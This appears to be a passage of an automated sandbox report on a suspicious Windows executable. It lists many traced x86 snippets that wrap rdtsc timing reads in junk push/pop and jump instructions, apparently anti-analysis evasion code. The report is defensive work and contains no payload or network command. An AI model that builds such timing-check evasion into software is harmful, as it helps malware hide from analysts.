Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44A11 second address: A44A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48BAD second address: A48BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48BB1 second address: A48BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E92Fh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48BCA second address: A48BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48BCE second address: A48BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F242906E933h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA5D second address: A4FA62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA62 second address: A4FA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52EAC second address: A52EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52857 second address: A5285D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5285D second address: A52863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52AF2 second address: A52AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52AF6 second address: A52B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2429065B52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B0E second address: A52B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B14 second address: A52B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2429065B55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B2D second address: A52B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A579B6 second address: A579DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2429065B46h 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jp 00007F2429065B46h 0x00000013 jmp 00007F2429065B52h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57B4C second address: A57B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57B50 second address: A57B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C3E5 second address: A5C3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C3EB second address: A5C402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2429065B4Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C402 second address: A5C40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C40D second address: A5C427 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F2429065B4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C427 second address: A5C42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C42D second address: A5C431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C431 second address: A5C435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C584 second address: A5C58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C58C second address: A5C590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C590 second address: A5C5A8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F2429065B46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C5A8 second address: A5C5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C5AC second address: A5C5B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C5B0 second address: A5C5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F242906E926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F242906E92Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C5C4 second address: A5C5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C5C8 second address: A5C5CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C73A second address: A5C743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CB2E second address: A5CB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F242906E926h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CB3B second address: A5CB41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A045AE second address: A045FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F242906E928h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D2EBBh], edx 0x00000028 push 00000004h 0x0000002a add dword ptr [ebp+122D1B66h], ebx 0x00000030 nop 0x00000031 jnc 00007F242906E92Ah 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push ebx 0x0000003b jne 00007F242906E926h 0x00000041 pop ebx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A045FD second address: A04603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04603 second address: A04607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6280F second address: A6281B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6281B second address: A6281F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61AF6 second address: A61AFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61AFC second address: A61B03 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61F0D second address: A61F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6206A second address: A62075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F242906E926h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62075 second address: A6207B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6207B second address: A6207F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62335 second address: A6233C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6233C second address: A62353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F242906E92Eh 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62353 second address: A62359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69475 second address: A69479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69479 second address: A6947F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6947F second address: A6948B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6948B second address: A69491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69491 second address: A69496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69496 second address: A6949C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A28 second address: A69A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A2C second address: A69A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69F67 second address: A69F7B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F242906E926h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69F7B second address: A69F92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2429065B4Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69F92 second address: A69F98 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A31B second address: A6A335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2429065B56h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A611 second address: A6A616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A905 second address: A6A91F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A91F second address: A6A933 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F242906E92Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F242906E926h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F5C3 second address: A6F5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F5C7 second address: A6F5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F5CB second address: A6F5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F2429065B59h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F2429065B46h 0x00000017 jnc 00007F2429065B46h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F5FC second address: A6F639 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E933h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F242906E933h 0x00000010 jmp 00007F242906E931h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F639 second address: A6F64A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2429065B46h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F64A second address: A6F650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72757 second address: A72768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F2429065B4Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72768 second address: A7276C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72A5A second address: A72A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2429065B46h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72A6B second address: A72A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72ED2 second address: A72ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72ED8 second address: A72EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72EDC second address: A72EEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72EEA second address: A72EEF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72EEF second address: A72F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F2429065B5Ch 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F2429065B54h 0x00000018 jnl 00007F2429065B4Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72F20 second address: A72F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72F2A second address: A72F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73062 second address: A730CC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F242906E926h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F242906E92Dh 0x00000011 jmp 00007F242906E92Ah 0x00000016 push ebx 0x00000017 jmp 00007F242906E92Fh 0x0000001c jmp 00007F242906E937h 0x00000021 pop ebx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 js 00007F242906E926h 0x0000002c jmp 00007F242906E934h 0x00000031 pop esi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7320C second address: A73212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73212 second address: A7322E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F242906E938h 0x0000000a jmp 00007F242906E930h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C151 second address: A7C171 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2429065B46h 0x00000008 jmp 00007F2429065B56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C171 second address: A7C185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C185 second address: A7C18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C18B second address: A7C18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C18F second address: A7C1B1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jg 00007F2429065B46h 0x00000011 pop edi 0x00000012 push eax 0x00000013 jno 00007F2429065B46h 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C1B1 second address: A7C1B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8B9 second address: A7A8BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8BD second address: A7A8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8C3 second address: A7A8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8C9 second address: A7A8CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8CF second address: A7A8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2429065B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A8D9 second address: A7A8DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B16D second address: A7B172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF6A second address: A7BF88 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F242906E92Dh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF88 second address: A7BF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF92 second address: A7BF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79EE8 second address: A79EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F569 second address: A7F573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCEED second address: 9BCEFB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80C2A second address: A80C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85595 second address: A8559D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8559D second address: A855A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A855A3 second address: A855A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
